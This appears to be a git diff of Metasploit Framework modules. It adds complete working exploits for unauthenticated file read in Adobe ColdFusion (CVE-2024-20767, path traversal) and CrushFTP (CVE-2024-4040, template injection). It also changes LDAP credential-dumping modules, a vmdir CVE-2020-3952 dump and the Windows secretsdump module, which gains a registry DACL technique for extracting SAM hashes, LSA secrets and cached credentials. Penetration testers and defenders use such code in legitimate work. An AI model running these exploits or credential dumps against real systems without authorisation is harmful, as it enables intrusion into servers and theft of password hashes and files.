unless (base_dn = ldap.base_dn)
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
end
schema_dn = find_schema_dn(ldap, base_dn)
schema_dn = ldap.schema_dn
filter_string = ldap_query['filter']
attributes = ldap_query['attributes']
begin
@@ -136,7 +142,8 @@ class MetasploitModule < Msf::Auxiliary
client_name: username,
realm: datastore['DOMAIN'],
offered_etypes: etypes,
rport: 88
rport: 88,
rhost: datastore['RHOST']
)
hash = format_as_rep_to_john_hash(res.as_rep)
print_line(hash)
@@ -0,0 +1,111 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CVE-2024-20767 - Adobe Coldfusion Arbitrary File Read',
'Description' => %q{
This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version
'2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication
token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that
UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.
},
'Author' => [
'ma4ter', # Analysis & Discovery
'yoryio', # PoC
'Christiaan Beek', # Msf module
'jheysel-r7' # Msf module assistance
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-20767'],
['URL', 'https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html'],
['URL', 'https://jeva.cc/2973.html'],
],
'DisclosureDate' => '2024-03-12',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8500),
OptString.new('TARGETURI', [true, 'The base path for ColdFusion', '/']),
OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),
OptInt.new('NUMBER_OF_LINES', [true, 'Number of lines to retrieve', 10000]),
OptInt.new('DEPTH', [true, 'Traversal Depth', 5]),
]
)
end
def get_uuid
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', '_servermanager', 'servermanager.cfc'),
'vars_get' =>
{
'method' => 'getHeartBeat'
}
})
fail_with(Failure::Unreachable, 'No response from the target when attempting to retrieve the UUID') unless res
# TODO: give a more detailed error message once we find out why some of the seemingly vulnerable test targets return a 500 here.
fail_with(Failure::UnexpectedReply, "Received an unexpected response code: #{res.code} when attempting to retrieve the UUID") unless res.code == 200
uuid = res.get_html_document.xpath('//var[@name=\'uuid\']/string/text()').text
fail_with(Failure::UnexpectedReply, 'There was no UUID in the response') unless uuid =~ /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
uuid
end
def run
print_status('Attempting to retrieve UUID ...')
uuid = get_uuid
print_good("UUID found: #{uuid}")
print_status("Attempting to exploit directory traversal to read #{datastore['FILE_PATH']}")
traversal_path = '../' * datastore['DEPTH']
file_path = "#{traversal_path}#{datastore['FILE_PATH']}"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'pms'),
'vars_get' =>
{
'module' => 'logging',
'file_name' => file_path,
'number_of_lines' => datastore['NUMBER_OF_LINES']
},
'headers' =>
{
'uuid' => uuid
}
})
fail_with(Failure::Unknown, 'No response received') unless res
if res.code == 200
print_good('File content received:')
else
fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code: #{res.code}")
end
file_contents = []
res.body[1..-2].split(', ').each do |html_response_line|
print_status(html_response_line)
file_contents << html_response_line
end
stored_path = store_loot('coldfusion.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])
print_good("Results saved to: #{stored_path}")
end
end
@@ -0,0 +1,178 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CrushFTP Unauthenticated Arbitrary File Read',
'Description' => %q{
This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and
< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without
authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The
primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote
code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).
},
'License' => MSF_LICENSE,
'Author' => [
'remmons-r7', # MSF Module & Rapid7 Analysis
],
'References' => [
['CVE', '2024-4040'],
['URL', 'https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
# The CrushFTP.log file will contain a log of the HTTP requests
# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests
# The sessions.obj file will temporarily persist details of recent requests
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(8080),
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),
OptString.new('TARGETFILE', [true, 'The target file to read. This can be a full path, a relative path, or a network share path (if firewalls permit). Files containing binary data may not be read accurately', 'users/MainUsers/groups.XML']),
OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/']),
OptEnum.new('INJECTINTO', [true, 'The CrushFTP API function to inject into', 'zip', ['zip', 'exists']])
]
)
end
def check
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
res_anonymous_check = get_anon_session
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get 404 page response (confirm target and SSL settings)') unless res_anonymous_check
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
if (res_anonymous_check.code != 404) || !res_anonymous_check.get_cookies.include?('CrushAuth')
return Msf::Exploit::CheckCode::Unknown('The application did not return a 404 response that provided an anonymous session cookie')
end
# Extract the CrushAuth anonymous session cookie value using regex
crushauth_cookie = res_anonymous_check&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)
# The string "password" is included to invoke CrushFTP's sensitive parameter redaction in logs. The injection will be logged as "********"
# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs
res_template_inject = perform_template_injection(datastore['INJECTINTO'], '{user_name}password', crushauth_cookie)
return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to get template injection page response') unless res_template_inject
# Confirm that the "{user_name}" template injection evaluates to "anonymous" in the response. If it does not, the application is not vulnerable
unless res_template_inject.body.include?('anonymous')
return Msf::Exploit::CheckCode::Safe('Server-side template injection failed - CrushFTP did not evaluate the injected payload')
end
Msf::Exploit::CheckCode::Vulnerable('Server-side template injection successful!')
end
def run
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
print_status('Fetching anonymous session cookie...')
res_anonymous = get_anon_session
fail_with(Failure::Unknown, 'Connection failed - unable to get 404 page response') unless res_anonymous
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/
fail_with(Failure::Unknown, 'The application did not return a 404 response that provided an anonymous session cookie')
end
# Extract the CrushAuth cookie value from the response 'Set-Cookie' data
crushauth_cookie = res_anonymous&.get_cookies&.match(/\d{13}_[A-Za-z0-9]{30}/)
file_name = datastore['TARGETFILE']
print_status("Using template injection to read file: #{file_name}")
# These tags will be used to identify the beginning and end of the file data in the response
# The string "_pass_" is prepended to the injection to invoke CrushFTP sensitive parameter redaction in logs. The injection will be logged as "********"
# NOTE: Due to an apparent bug in the way CrushFTP redacts data, if file paths contain ":", some of the injection will be leaked in logs
file_begin_tag = '_pass_'
file_end_tag = 'file-end'
# Perform the template injection for file read
res_steal_file = perform_template_injection(datastore['INJECTINTO'], "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}", crushauth_cookie)
# Check for failure conditions
fail_with(Failure::Unknown, 'Connection failed - unable to perform template injection') unless res_steal_file
if (res_steal_file&.code != 200) || !(res_steal_file.body.include? file_begin_tag)
fail_with(Failure::Unknown, 'The application did not respond as expected - the response did not return a 200 status with file contents in the body')
end
if res_steal_file.body.include? "#{file_begin_tag}<INCLUDE>#{file_name}</INCLUDE>#{file_end_tag}"
fail_with(Failure::NotFound, 'The requested file was not found - the target file does not exist or the system cannot read it')
end
# Isolate the file contents in the response by extracting data between the begin and end tags
file_data = res_steal_file.body[res_steal_file.body.index(file_begin_tag) + file_begin_tag.length..]
file_data = file_data.split(file_end_tag)[0]
if datastore['STORE_LOOT']
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'File read from CrushFTP server')
print_good('Stored the file data to loot...')
else
# A new line is sent before file contents for better readability
print_good("File read succeeded! \n#{file_data}")
end
end
# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie
def get_anon_session
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'WebInterface/')
)
end
# The 'zip' API function is used here, but any unauthenticated API function that reflects parameter data in the response should work
def perform_template_injection(page, payload, cookie)
if page == 'zip'
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
'cookie' => "CrushAuth=#{cookie}",
'headers' => { 'Connection' => 'close' },
'vars_post' => {
'command' => 'zip',
# This value will be printed in responses to unauthenticated zip requests, resulting in template payload execution
'path' => payload,
'names' => '/',
# The c2f parameter must be the last four characters of the primary session cookie
'c2f' => cookie.to_s[-4..]
}
}
)
# The 'page' value is "exists"
elsif page == 'exists'
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
'cookie' => "CrushAuth=#{cookie}",
'headers' => { 'Connection' => 'close' },
'vars_post' => {
'command' => 'exists',
# This value will be printed in responses to "exists" requests, resulting in template payload execution
'paths' => payload,
# The c2f parameter must be the last four characters of the primary session cookie
'c2f' => cookie.to_s[-4..]
}
}
)
end
end
end
@@ -1,6 +1,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP = 0x00000001
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002
@@ -459,7 +460,7 @@ class MetasploitModule < Msf::Auxiliary
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
unless (@base_dn = ldap.base_dn)
fail_with(Failure::NotFound, "Couldn't discover base DN!")
end
end
@@ -473,9 +474,13 @@ class MetasploitModule < Msf::Auxiliary
find_enrollable_vuln_certificate_templates
print_vulnerable_cert_info
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
end
+26 -33
View File
@@ -5,9 +5,10 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
def initialize(info = {})
super(
@@ -33,7 +34,8 @@ class MetasploitModule < Msf::Auxiliary
],
'DefaultAction' => 'Dump',
'DefaultOptions' => {
'SSL' => true
'SSL' => true,
'RPORT' => 636
},
'Notes' => {
'Stability' => [CRASH_SAFE],
@@ -44,7 +46,6 @@ class MetasploitModule < Msf::Auxiliary
)
register_options([
Opt::RPORT(636), # SSL/TLS
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
@@ -68,7 +69,7 @@ class MetasploitModule < Msf::Auxiliary
unless opres.error_message.to_s.empty?
msg += " - #{opres.error_message}"
end
print_error("#{peer} #{msg}")
print_error("#{ldap.peerinfo} #{msg}")
end
# PoC using ldapsearch(1):
@@ -85,36 +86,28 @@ class MetasploitModule < Msf::Auxiliary
entries_returned = 0
print_status("#{peer} Connecting...")
ldap_new do |ldap|
if ldap.get_operation_result.code == 0
vprint_status("#{peer} LDAP connection established")
vprint_status("#{ldap.peerinfo} LDAP connection established")
else
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind
print_ldap_error(ldap)
end
@rhost = ldap.peerhost
@rport = ldap.peerport
if (base_dn_tmp = datastore['BASE_DN'])
vprint_status("#{peer} User-specified base DN: #{base_dn_tmp}")
vprint_status("#{ldap.peerinfo} User-specified base DN: #{base_dn_tmp}")
naming_contexts = [base_dn_tmp]
else
vprint_status("#{peer} Discovering base DN(s) automatically")
vprint_status("#{ldap.peerinfo} Discovering base DN(s) automatically")
begin
# HACK: fix lack of read/write timeout in Net::LDAP
Timeout.timeout(@read_timeout) do
naming_contexts = get_naming_contexts(ldap)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts')
ensure
unless ldap.get_operation_result.code == 0
print_ldap_error(ldap)
end
end
naming_contexts = ldap.naming_contexts
print_ldap_error(ldap) unless ldap.get_operation_result.code == 0
if naming_contexts.nil? || naming_contexts.empty?
vprint_warning("#{peer} Falling back to an empty base DN")
vprint_warning("#{ldap.peerinfo} Falling back to an empty base DN")
naming_contexts = ['']
end
end
@@ -123,14 +116,14 @@ class MetasploitModule < Msf::Auxiliary
@user_attr ||= datastore['USER_ATTR']
@user_attr ||= 'dn'
vprint_status("#{peer} Taking '#{@user_attr}' attribute as username")
vprint_status("#{ldap.peerinfo} Taking '#{@user_attr}' attribute as username")
pass_attr ||= datastore['PASS_ATTR']
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
# Dump root DSE for useful information, e.g. dir admin
if @max_loot.nil? || (@max_loot > 0)
print_status("#{peer} Dumping data for root DSE")
print_status("#{ldap.peerinfo} Dumping data for root DSE")
ldap_search(ldap, 'root DSE', {
ignore_server_caps: true,
@@ -139,7 +132,7 @@ class MetasploitModule < Msf::Auxiliary
end
naming_contexts.each do |base_dn|
print_status("#{peer} Searching base DN='#{base_dn}'")
print_status("#{ldap.peerinfo} Searching base DN='#{base_dn}'")
entries_returned += ldap_search(ldap, base_dn, {
base: base_dn
})
@@ -165,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
attributes: %w[* + -]
}
Tempfile.create do |f|
f.write("# LDIF dump of #{peer}, base DN='#{base_dn}'\n")
f.write("# LDIF dump of #{ldap.peerinfo}, base DN='#{base_dn}'\n")
f.write("\n")
begin
# HACK: fix lack of read/write timeout in Net::LDAP
@@ -185,18 +178,18 @@ class MetasploitModule < Msf::Auxiliary
end
end
rescue Timeout::Error
print_error("#{peer} Host timeout reached while searching '#{base_dn}'")
print_error("#{ldap.peerinfo} Host timeout reached while searching '#{base_dn}'")
return entries_returned
ensure
unless ldap.get_operation_result.code == 0
print_ldap_error(ldap)
end
if entries_returned > 0
print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
print_status("#{ldap.peerinfo} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
f.rewind
pillage(f.read, base_dn)
elsif ldap.get_operation_result.code == 0
print_error("#{peer} No entries returned for '#{base_dn}'.")
print_error("#{ldap.peerinfo} No entries returned for '#{base_dn}'.")
end
end
end
@@ -204,7 +197,7 @@ class MetasploitModule < Msf::Auxiliary
end
def pillage(ldif, base_dn)
vprint_status("#{peer} Storing LDAP data for base DN='#{base_dn}' in loot")
vprint_status("Storing LDAP data for base DN='#{base_dn}' in loot")
ltype = base_dn.clone
ltype.gsub!(/ /, '_')
@@ -223,11 +216,11 @@ class MetasploitModule < Msf::Auxiliary
)
unless ldif_filename
print_error("#{peer} Could not store LDAP data in loot")
print_error('Could not store LDAP data in loot')
return
end
print_good("#{peer} Saved LDAP data to #{ldif_filename}")
print_good("Saved LDAP data to #{ldif_filename}")
end
def decode_pwdhistory(hash)
@@ -253,7 +246,7 @@ class MetasploitModule < Msf::Auxiliary
module_fullname: fullname,
origin_type: :service,
address: @rhost,
port: rport,
port: @rport,
protocol: 'tcp',
service_name: 'ldap'
}
@@ -369,7 +362,7 @@ class MetasploitModule < Msf::Auxiliary
# highlight unresolved hashes
hash_format = '{crypt}' if hash =~ /{crypt}/i
print_good("#{peer} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
print_good("#{@rhost}:#{@rport} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
# known hash types should have been identified,
# let's assume the rest are clear text passwords
+13 -15
View File
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Exploit::Remote::LDAP::Queries
include Msf::OptionalSession::LDAP
require 'json'
require 'yaml'
@@ -128,18 +129,11 @@ class MetasploitModule < Msf::Auxiliary
ldap_connect do |ldap|
validate_bind_success!(ldap)
if (base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{base_dn}")
else
print_status('Discovering base DN automatically')
unless (base_dn = discover_base_dn(ldap))
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
end
end
schema_dn = find_schema_naming_context(ldap)
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") unless ldap.base_dn
base_dn = ldap.base_dn
print_status("#{ldap.peerinfo} Discovered base DN: #{base_dn}")
schema_dn = ldap.schema_dn
case action.name
when 'RUN_QUERY_FILE'
unless datastore['QUERY_FILE_PATH']
@@ -152,7 +146,7 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
end
run_queries_from_file(ldap, parsed_queries, base_dn, schema_dn, datastore['OUTPUT_FORMAT'])
run_queries_from_file(ldap, parsed_queries, schema_dn, datastore['OUTPUT_FORMAT'])
return
when 'RUN_SINGLE_QUERY'
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
@@ -198,10 +192,14 @@ class MetasploitModule < Msf::Auxiliary
print_status("Query returned #{result_count} result#{result_count == 1 ? '' : 's'}.")
end
end
rescue Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
attr_reader :loaded_queries # Queries loaded from the yaml config file
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
include Msf::Auxiliary::Report
def initialize(info = {})
@@ -37,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary
],
'DefaultAction' => 'Dump',
'DefaultOptions' => {
'SSL' => true
'SSL' => true,
'RPORT' => 636
},
'Notes' => {
'Stability' => [CRASH_SAFE],
@@ -48,7 +50,6 @@ class MetasploitModule < Msf::Auxiliary
)
register_options([
Opt::RPORT(636), # SSL/TLS
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it'])
])
end
@@ -77,30 +78,30 @@ class MetasploitModule < Msf::Auxiliary
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
unless (@base_dn = ldap.base_dn)
print_warning('Falling back on default base DN dc=vsphere,dc=local')
end
end
print_status("Dumping LDAP data from vmdir service at #{peer}")
print_status("Dumping LDAP data from vmdir service at #{ldap.peerinfo}")
# A "-" meta-attribute will dump userPassword (hat tip Hynek)
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/ldap-head/result.c#L647-L654
entries = ldap.search(base: base_dn, attributes: %w[* + -])
# Look for an entry with a non-empty vmwSTSPrivateKey attribute
unless entries&.find { |entry| entry[:vmwstsprivatekey].any? }
print_error("#{ldap.peerinfo} is NOT vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
print_error('Dump failed')
return Exploit::CheckCode::Safe
end
print_good("#{ldap.peerinfo} is vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
pillage(entries)
# HACK: Stash discovered base DN in CheckCode reason
Exploit::CheckCode::Vulnerable(base_dn)
end
# Look for an entry with a non-empty vmwSTSPrivateKey attribute
unless entries&.find { |entry| entry[:vmwstsprivatekey].any? }
print_error("#{peer} is NOT vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
print_error('Dump failed')
return Exploit::CheckCode::Safe
end
print_good("#{peer} is vulnerable to CVE-2020-3952") unless datastore['BIND_PW'].present?
pillage(entries)
# HACK: Stash discovered base DN in CheckCode reason
Exploit::CheckCode::Vulnerable(base_dn)
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
Exploit::CheckCode::Unknown
+112 -67
View File
@@ -7,7 +7,6 @@ require 'ruby_smb/dcerpc/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Util::WindowsRegistry
include Msf::Util::WindowsCryptoHelpers
@@ -34,11 +33,17 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'Windows Secrets Dump',
'Description' => %q{
Dumps SAM hashes and LSA secrets (including cached creds) from the
remote Windows target without executing any agent locally. First, it
reads as much data as possible from the registry and then save the
hives locally on the target (%SYSTEMROOT%\Temp\random.tmp). Finally, it
downloads the temporary hive files and reads the rest of the data
from it. This temporary files are removed when it's done.
remote Windows target without executing any agent locally. This is
done by remotely updating the registry key security descriptor,
taking advantage of the WriteDACL privileges held by local
administrators to set temporary read permissions.
This can be disabled by setting the `INLINE` option to false and the
module will fallback to the original implementation, which consists
in saving the registry hives locally on the target
(%SYSTEMROOT%\Temp\<random>.tmp), downloading the temporary hive
files and reading the data from it. This temporary files are removed
when it's done.
On domain controllers, secrets from Active Directory is extracted
using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need
@@ -57,7 +62,8 @@ class MetasploitModule < Msf::Auxiliary
'License' => MSF_LICENSE,
'Author' => [
'Alberto Solino', # Original Impacket code
'Christophe De La Fuente', # MSf module
'Christophe De La Fuente', # MSF module
'antuache' # Inline technique
],
'References' => [
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'],
@@ -78,7 +84,16 @@ class MetasploitModule < Msf::Auxiliary
)
)
register_options([ Opt::RPORT(445) ])
register_options(
[
Opt::RPORT(445),
OptBool.new(
'INLINE',
[ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ],
conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]]
)
]
)
@service_should_be_stopped = false
@service_should_be_disabled = false
@@ -227,15 +242,15 @@ class MetasploitModule < Msf::Auxiliary
)
end
def dump_sam_hashes(reg_parser, boot_key)
def dump_sam_hashes(windows_reg, boot_key)
print_status('Dumping SAM hashes')
vprint_status('Calculating HashedBootKey from SAM')
hboot_key = reg_parser.get_hboot_key(boot_key)
hboot_key = windows_reg.get_hboot_key(boot_key)
unless hboot_key.present?
print_warning('Unable to get hbootKey')
return
end
users = reg_parser.get_user_keys
users = windows_reg.get_user_keys
users.each do |rid, user|
user[:hashnt], user[:hashlm] = decrypt_user_key(hboot_key, user[:V], rid)
end
@@ -263,13 +278,13 @@ class MetasploitModule < Msf::Auxiliary
end
end
def get_lsa_secret_key(reg_parser, boot_key)
def get_lsa_secret_key(windows_reg, boot_key)
print_status('Decrypting LSA Key')
lsa_key = reg_parser.lsa_secret_key(boot_key)
lsa_key = windows_reg.lsa_secret_key(boot_key)
vprint_good("LSA key: #{lsa_key.unpack('H*')[0]}")
if reg_parser.lsa_vista_style
if windows_reg.lsa_vista_style
vprint_status('Vista or above system')
else
vprint_status('XP or below system')
@@ -278,18 +293,21 @@ class MetasploitModule < Msf::Auxiliary
return lsa_key
end
def get_nlkm_secret_key(reg_parser, lsa_key)
def get_nlkm_secret_key(windows_reg, lsa_key)
print_status('Decrypting NL$KM')
reg_parser.nlkm_secret_key(lsa_key)
windows_reg.nlkm_secret_key(lsa_key)
end
def dump_cached_hashes(reg_parser, nlkm_key)
def dump_cached_hashes(windows_reg, nlkm_key)
print_status('Dumping cached hashes')
cache_infos = reg_parser.cached_infos(nlkm_key)
cache_infos = windows_reg.cached_infos(nlkm_key)
if cache_infos.nil? || cache_infos.empty?
print_status('No cashed entries')
print_warning('No cashed entries.')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
return
end
@@ -335,7 +353,7 @@ class MetasploitModule < Msf::Auxiliary
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: logon_domain_name
}
if reg_parser.lsa_vista_style
if windows_reg.lsa_vista_style
jtr_hash = "$DCC2$#{cache_info.real_iteration_count}##{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"
else
jtr_hash = "M$#{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"
@@ -350,7 +368,7 @@ class MetasploitModule < Msf::Auxiliary
if hashes.empty?
print_line('No cached hashes on this system')
else
print_status("Hash#{'es' if hashes.lines.size > 1} are in '#{reg_parser.lsa_vista_style ? 'mscash2' : 'mscash'}' format")
print_status("Hash#{'es' if hashes.lines.size > 1} are in '#{windows_reg.lsa_vista_style ? 'mscash2' : 'mscash'}' format")
print_line(hashes)
end
end
@@ -539,10 +557,16 @@ class MetasploitModule < Msf::Auxiliary
print_line
end
def dump_lsa_secrets(reg_parser, lsa_key)
def dump_lsa_secrets(windows_reg, lsa_key)
print_status('Dumping LSA Secrets')
lsa_secrets = reg_parser.lsa_secrets(lsa_key)
lsa_secrets = windows_reg.lsa_secrets(lsa_key)
if lsa_secrets.empty?
print_warning('No LSA secrets to dump')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
end
lsa_secrets.each do |key, secret|
print_secret(key, secret)
end
@@ -676,7 +700,7 @@ class MetasploitModule < Msf::Auxiliary
vprint_status('Bound to DRSR')
dcerpc_client
rescue ::Rex::Proto::DCERPC::Exceptions::Error, ArgumentError => e
rescue RubySMB::Dcerpc::Error::DcerpcError, ArgumentError => e
print_error("Unable to bind to the directory replication remote service (DRS): #{e}")
return
end
@@ -825,11 +849,19 @@ class MetasploitModule < Msf::Auxiliary
users = get_domain_users
dcerpc_client = connect_drs
unless dcerpc_client
print_error(
'Unable to connect to the directory replication remote service (DRS).'\
'Is the remote server a Domain Controller?'
)
return
end
ph_drs = dcerpc_client.drs_bind
dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name)
user_info = {}
dc_infos.each do |dc_info|
users.each do |sid, _name|
users.each do |user|
sid = user[0]
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])
crack_names.each do |crack_name|
user_record = dcerpc_client.drs_get_nc_changes(
@@ -866,7 +898,7 @@ class MetasploitModule < Msf::Auxiliary
end
print_line("\n# NTLM hashes:")
user_info.each do |_sid, info|
user_info.each_value do |info|
hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}"
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
unless report_creds(full_name, hash, **credential_opts)
@@ -894,7 +926,7 @@ class MetasploitModule < Msf::Auxiliary
end
print_line("\n# Account Info:")
user_info.each do |_sid, info|
user_info.each_value do |info|
print_line("## #{info[:dn]}")
print_line("- Administrator: #{info[:admin]}")
print_line("- Domain Admin: #{info[:domain_admin]}")
@@ -918,7 +950,7 @@ class MetasploitModule < Msf::Auxiliary
"not stored, just replace it with the empty lmhash (#{Net::NTLM.lm_hash('').unpack('H*')[0]})"
)
end
user_info.each do |_sid, info|
user_info.each_value do |info|
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
if info[:nt_history].size > 1 || info[:lm_history].size > 1
@@ -938,7 +970,7 @@ class MetasploitModule < Msf::Auxiliary
end
print_line("\n# Kerberos keys:")
user_info.each do |_sid, info|
user_info.each_value do |info|
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
if info[:kerberos_keys].nil? || info[:kerberos_keys].empty?
@@ -963,7 +995,7 @@ class MetasploitModule < Msf::Auxiliary
end
print_line("\n# Clear text passwords:")
user_info.each do |_sid, info|
user_info.each_value do |info|
full_name = "#{domain_name}\\#{info[:username]}"
if info[:clear_text_passwords].nil? || info[:clear_text_passwords].empty?
@@ -991,6 +1023,7 @@ class MetasploitModule < Msf::Auxiliary
def do_cleanup
print_status('Cleaning up...')
if @service_should_be_stopped
print_status('Stopping service RemoteRegistry...')
svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry')
@@ -1113,55 +1146,67 @@ class MetasploitModule < Msf::Auxiliary
check_lm_hash_not_stored if @winreg
if ['ALL', 'SAM'].include?(action.name)
